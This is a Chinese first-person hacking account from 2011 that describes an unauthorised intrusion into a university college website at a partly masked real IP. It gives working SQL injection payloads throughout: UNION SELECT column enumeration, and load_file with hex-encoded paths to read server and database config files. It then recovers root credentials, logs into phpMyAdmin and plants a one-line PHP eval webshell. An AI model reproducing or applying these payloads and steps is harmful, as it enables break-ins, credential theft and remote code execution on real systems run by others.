第一次sql注入拿webshell经历
In 2011.9.26
From doggy
暑假到了,人就显得十分不安分。于是就去某同学所在的高校网站上看看。学校的网站可谓是戒备森严,那就去学院的看看吧。登录的界面还挺友好的,有中文 入口,还有英文入口。先选择中文的吧,这个能看懂。进入网站,首先是观察一下,当看到“有机可乘”时,决定按照老大Dingo[s.u.s]在《网站踩点简单指南》一书中的吩咐,先踩下点。踩点记录具体就不详细叙述了。说一下主要的:
1 | IP:219.224.61.*。 |
大致了解情况之后就可以小试牛刀了。
http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=130 and
0<>(select count(*) from admin)
先看看有没有这个表。返回信息如图1。
看来是没有。然后依次又试了几个。没有、没有、还是没有。这怎么办呢?一直猜不到。还是去问一下老大吧。他让我试一下.
http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 order by 10
这个方法我还记得,是tcpper在《对南师大网站的一次友情检测》沙龙中提到过的。于是我就试了一下,返回信息如图2。
说明什么呢?——10有点大了。依次递减,到7时返回有了不同。页面信息如图3。
这样就可以递交http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130
union select 1,2,3,4,5,6,7 --
来注入了。得到页面如图4。
接着,老大说把“4”换掉。换什么呢?先换了一下“@@version”。
http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,@@version,5,6,7 --
得到页面如图5。
然后再换“user()”得到页面如图6。
哇!出现了。可是仅仅是得到了用户名。要得到密码就困难了。怎么办呢?老大推荐使用load_file()
。
不是很清楚。上网baidu了一下。哦,知道了。可以load_file(“路径”)
读文件。马上试试吧。可是对方gvc开了。对于这种情况,我只有提交十六进制的字符串或者弄成char()
的了。需要一个将字符串用十六进制表示的工具(已上传)。这样就可以先看看C:\boot.ini
试试了。提交http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,load_file(0x433A2F626F6F742E696E69),5,6,7 --
注意:这里是C:/boot.ini
而不写C:\boot.ini
有点差别
页面信息返回如图7
看到了。呵呵。接着可以举一反三看更多的了。可以我们的目的是要看php的连接页面。网站的路径我们还不清楚。尝试报错,这个网站报错做得还可以。我没有找出,于是就试了几个。
先试试C:/www\chs\index.php
不对。
然后又试 D:/www\chs\index.php
返回如图8。
没想到三试两试就试出来了。确定位置为D:/www\
然后去读D:/www\admin\index.php
http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130 union select 1,2,3,load_file (0x643A2F7777775C61646D696E5C696E6465782E706870),5,6,7 --
返回如图9。
可惜啊,我php学得不好。看不懂内容。不过经老大解释后得知,
已经差不多了,得到了php向数据库查询的语句<?php require_once('../Connections/jzxy_conn.php'); ?>
再去读一下jzxy_conn.php就基本搞定了。
读了一下D:/www\Connections\jzxy_conn.php
(http://219.224.61.*/chs/note.php?Jzxy_GongGao_ID=-130
union select 1,2,3,load_file
(0x443A2F7777775C436F6E6E656374696F6E735C6A7A78795F636F6E6
E2E706870),5,6,7 --)
果然。右键查看源代码,如图10。
得到密码:root 。好一个与付出不成正比的密码,寒。看来可以了。登录后台http://219.224.61.*/phpmyadmin/
账号:root 密码:root
好了。进去了。看看里面都有什么。拿到后台之后,(由于没有可上传的地方)就可以插入一句话木马了。随便选择一个表,我选的是jzxy。然后点击SQL,接着输入
1 | select'<?php eval($_POST[k])?> |
点击查询,返回信息如图11。
再下载一句话木马客户端,登录http://219.224.61.*/1.php
输入密码:k
发现可以使用了。拿到webshell。